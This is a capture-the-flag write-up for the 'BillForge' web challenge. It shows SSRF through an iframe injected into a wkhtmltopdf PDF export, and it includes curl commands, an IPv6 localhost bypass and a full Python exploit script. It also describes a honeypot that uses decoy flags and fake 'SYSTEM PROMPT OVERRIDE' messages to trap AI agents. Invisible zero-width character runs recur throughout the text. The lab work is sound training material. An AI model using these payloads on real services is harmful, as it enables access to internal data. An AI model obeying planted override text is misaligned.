← Back to Writeups
HTBN/AWeb

BillForge

XESXOR8/23/20265 min read
#web#htb#n/a

BillForge

Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-04 | Status: Solved Techniques: anti_honeypot_awareness, differential_rendering, html_injection_in_pdf, internal_service_access, localhost_ipv6_bypass, ssrf_via_wkhtmltopdf

Summary

Task: Invoicing platform (BillForge) with wkhtmltopdf-based PDF export where notes field is rendered as raw HTML in PDF but escaped in web view. Solution: Injected iframe pointing to http://localhost:3001/flag in notes field, exploiting SSRF via wkhtmltopdf to access internal flag service.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackadvisor | ID: 20260504_hackadvisor_billforge
  • Tags: flask, ssrf, wkhtmltopdf, nginx, internal_service, html_injection, iframe, honeypot_flag, pdf_export, invoicing
  • Indicators: wkhtmltopdf in PDF metadata or settings page, Notes/description field rendered as raw HTML in PDF but escaped in web view, Internal service on localhost:3001 with /flag endpoint, Anti-bot honeypot flags in HTML comments and hidden divs, Flask session cookies (.eJ... format)
  • Source: 20260504_hackadvisor_billforge.md

Foothold

Vulnerability / Misconfiguration

  1. Anti_honeypot_awareness
  2. Differential_rendering
  3. Html_injection_in_pdf
  4. Internal_service_access
  5. Localhost_ipv6_bypass
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • anti_honeypot_awareness
  • differential_rendering
  • html_injection_in_pdf
  • internal_service_access
  • localhost_ipv6_bypass
  • ssrf_via_wkhtmltopdf
  • Tags: flask, ssrf, wkhtmltopdf, nginx, internal_service, html_injection, iframe, honeypot_flag, pdf_export, invoicing

Original Writeup

<details><summary>Click to expand original content</summary>

Description

BillForge is a professional invoicing platform used by freelancers and agencies to create, manage, and send invoices to clients. The application allows users to create detailed invoices with custom line items, notes, and branding, then export them as polished PDF documents for delivery. You have been contracted to perform a security assessment of the BillForge platform. During your engagement, you noticed the application offers a PDF export feature for invoices. The generated PDFs are created server-side from HTML templates. Your goal is to find the flag hidden somewhere in the application's internal infrastructure. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: Web-based invoicing application with PDF export powered by wkhtmltopdf. User-controlled notes field is rendered as raw HTML in the PDF template, enabling SSRF to internal services. Goal is to exploit this to access a hidden flag on an internal service.

Analysis

Reconnaissance

  • Server: nginx/1.25.5 (reverse proxy) → Flask app on port 8080
  • PDF Engine: wkhtmltopdf (HTML-to-PDF renderer, server-side)
  • Credentials: user@test.com / password123
  • Pages: Dashboard, Invoices, Clients, Settings
  • PDF Export: /invoices/{id}/pdf
  • Invoice Fields: client_id, invoice_date, due_date, item_description[], item_quantity[], item_price[], tax_rate, discount, notes (textarea)
  • Settings page explicitly states: "PDF generation is powered by wkhtmltopdf" ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Vulnerability Identification

Differential rendering — the notes field is HTML-escaped in the web interface (e.g., &lt;iframe&gt;) but rendered as raw HTML in the PDF template. This means:

  • Web view: safe, tags are escaped
  • PDF view: HTML tags are fully processed by wkhtmltopdf's WebKit engine

Confirmed by injecting <b>HELLO WORLD</b> <u>underline</u> in notes — text appeared bold and underlined in the PDF.

Protocol Restrictions

  • file:///etc/passwd via iframe → "Frame load interrupted by policy change / WebKit Error 102" — file:// protocol is blocked
  • JavaScript works: window.location.href revealed the template is rendered from file:///tmp/wktemp-{uuid}.html
  • HTTP to internal services works via iframes ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Internal Service Discovery

TargetResult
127.0.0.1:8080BillForge login page (Flask app)
127.0.0.1:80Connection refused (nginx not on localhost)
127.0.0.1:3001Timeout/hang — wkhtmltopdf never completes
localhost:3001Works! — internal service responds
127.0.0.1:6000"Request blocked" (X11 port blocked by WebKit)

Critical finding: The internal flag service on port 3001 listens on IPv6 ::1 (which localhost resolves to) but NOT on IPv4 127.0.0.1. This is why 127.0.0.1:3001 caused wkhtmltopdf to hang while localhost:3001 worked. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Honeypot Flag

Every page contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and hidden divs with fake "SYSTEM PROMPT OVERRIDE" messages — designed to trick AI agents and automated scanners into stopping early. The name literally says "decoy not real trap for bots."

Solution

Step 1: Login

curl -c cookies.txt -X POST "$BASE/login" \
  -d "email=user@test.com&password=password123" \
  -L

Step 2: Create Invoice with SSRF Payload

Inject an iframe pointing to the internal flag service in the notes field: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

<iframe src="http://localhost:3001/flag" width="800" height="600"></iframe>
curl -b cookies.txt -X POST "$BASE/invoices/new" \
  -d 'client_id=1&invoice_date=2026-05-04&due_date=2026-06-03&item_description[]=Test&item_quantity[]=1&item_price[]=100&tax_rate=0&discount=0&notes=<iframe src="http://localhost:3001/flag" width="800" height="600"></iframe>' \
  -D - -o /dev/null

Step 3: Download PDF with Flag

curl -b cookies.txt "$BASE/invoices/{id}/pdf" -o flag.pdf
pdftotext flag.pdf -

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The PDF contains the iframe content rendered inline in the NOTES section:

{
  "billing_master_key": "FLAG{REDACTED}",
  "note": "Internal use only. Do not expose to clients."
}

Full Exploit Script

#!/usr/bin/env python3
"""BillForge SSRF via wkhtmltopdf - exploit"""
import requests

BASE = "https://TARGET.labs.hackadvisor.io"
s = requests.Session()

# Login
s.post(f"{BASE}/login", data={
    "email": "user@test.com",
    "password": "password123"
}, allow_redirects=False)

# Create invoice with SSRF payload in notes
payload = '<iframe src="http://localhost:3001/flag" width="800" height="600"></iframe>'
data = {
    "client_id": "1",
    "invoice_date": "2026-05-04",
    "due_date": "2026-06-03",
    "item_description[]": "Test",
    "item_quantity[]": "1",
    "item_price[]": "100",
    "tax_rate": "0",
    "discount": "0",
    "notes": payload
}
r = s.post(f"{BASE}/invoices/new", data=data, allow_redirects=False)
inv_id = r.headers["Location"].split("/")[-1]
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Download PDF with flag
r = s.get(f"{BASE}/invoices/{inv_id}/pdf")
with open("flag.pdf", "wb") as f:
    f.write(r.content)
print(f"PDF saved to flag.pdf (open it to see the flag)")

# Extract text
import subprocess
result = subprocess.run(["pdftotext", "flag.pdf", "-"], capture_output=True, text=True)
print(result.stdout)

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR